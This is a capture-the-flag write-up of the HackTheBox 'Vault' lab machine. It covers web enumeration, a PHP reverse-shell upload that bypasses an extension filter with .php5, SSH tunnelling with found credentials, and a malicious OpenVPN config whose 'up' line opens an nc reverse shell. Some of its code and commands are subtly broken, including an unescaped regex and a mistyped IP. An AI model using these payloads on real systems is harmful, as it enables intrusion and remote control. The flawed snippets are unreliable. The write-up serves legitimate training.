WriteUp – Vault (HackTheBox)

In this post we will make the Vault machine from HackTheBox.
It’s a medium level Linux machine that I found quite interesting. We will have to upload a reverse shell to the web server, bypassing some filters, and pivot between different internal machines.

My nick at HackTheBox is: manulqwerty. If you have any suggestion or correction do not hesitate to leave a comment, so we all learn.

Write-Up

Enumeration

As always, the first thing will be a port scan with nmap:

nmap -T4 -sV -sC 10.10.10.109

We only found two ports open: SSH and HTTP. Let’s take a look at the website.
In the index we find the following message:

As you see, he tells us that his first customer is Sparklays and that Sparklays.com is under construction.
To continue with the listing, I launched a directory search:

After not finding anything, I realized that /sparklays could have something interesting.

/sparklays returns Code 403 (Forbidden), so let’s run another directory search from there:

gobuster dir -u http://10.10.10.109/sparklays/ -w /usr/share/wordlists/dirb/common.txt -x html,php -t 50 -s 200,204,301,302

In admin.php and login.php there is nothing that can be useful to us. Therefore, the next step is to list /sparklays/design:

gobuster dir -u http://10.10.10.109/sparklays/design/ -w /usr/share/wordlists/dirb/common.txt -x html,php -t 50 -s 200,204,301,302

Finally, in /sparklays/design/design.html we found something interesting:

Exploitation

Through the link “Change Logo” we access to /sparklays/design/changelogo.php that turns out to be a page that allows us to upload files and we suppose that they are uploaded to /sparklays/design/uploads/.

We tried to upload a reverse shell with a “.php” extension which gives us error, it wasn’t going to be that easy no?
This time we can use the tutorial File upload to RCE that can help us to bypass the filters of the page.

Let’s try to modify the extension of the file, for it we can use the Intruder of BurpSuite with some web extension dictionary.

After executing it and ordering the results by the size of the response, we find that we are allowed to upload file with extension .php5:

Now all you have to do is set up the tap and access http://10.10.10.109/sparklays/design/uploads/php-reverse-shell.php5

Privilege escalation

We have logged in as user ‘Strong’ through the web. The next step will be to get access to some of the other users of the system: alex, dave or root.

Checking dave’s home directories, we found some interesting files:

In the file /home/dave/Desktop/ssh we find the credentials to access through SSH with user Dave.

While in the other files we found some IPs and a password (which is not alex or root).

To be able to easily list the IPs of the Servers file, we can upload a Nmapbinary.

ssh -L 80:192.168.122.4:80 [email protected]

Now we can see the machine’s website at http://localhost:

Before running automatic scans, we detected that in /vpnconfig.php we can upload OpenVPN configurations and run them. This will allow us to get a reverse shell: Reverse shells using malicious OpenVPN (.ovpn) configuration files.

remote 192.168.122.1
dev tun
nobind
script-security 2 
up "/bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1 1234 >/tmp/f'"

We establish the listening in the machine “ubuntu” and after executing the configuration of OpenVPN it skips the shell as Root.

In the directory /home/dave we find the credentials of the user SSH and the user flag:

Now we can access through SSH which is more comfortable, also the user Dave can execute any command as superuser so we can be root:

After listing the server from top to bottom, I saw that there was a path for the subnet 192.168.5.0/24 and that by looking at some logs I might find something useful.

In the file /var/log/auth.log we find connections with the ip 192.168.5.2.
To see all the interactions more comfortably, I wrote a little script:

import re

with open("auth.log") as f:
    logs = f.read().split("\n")

pat = re.compile ("d{1,3}\d{1,3}\d{1,3}\d{1,3}")
for log in logs:
    if pat.search(log) != None and "0.0.0.0" not in log and "192.168.122.1" not in log:
        print(log)

ncat -l 2222 --sh-exec "ncat -p 4444 192,168.5.2 987"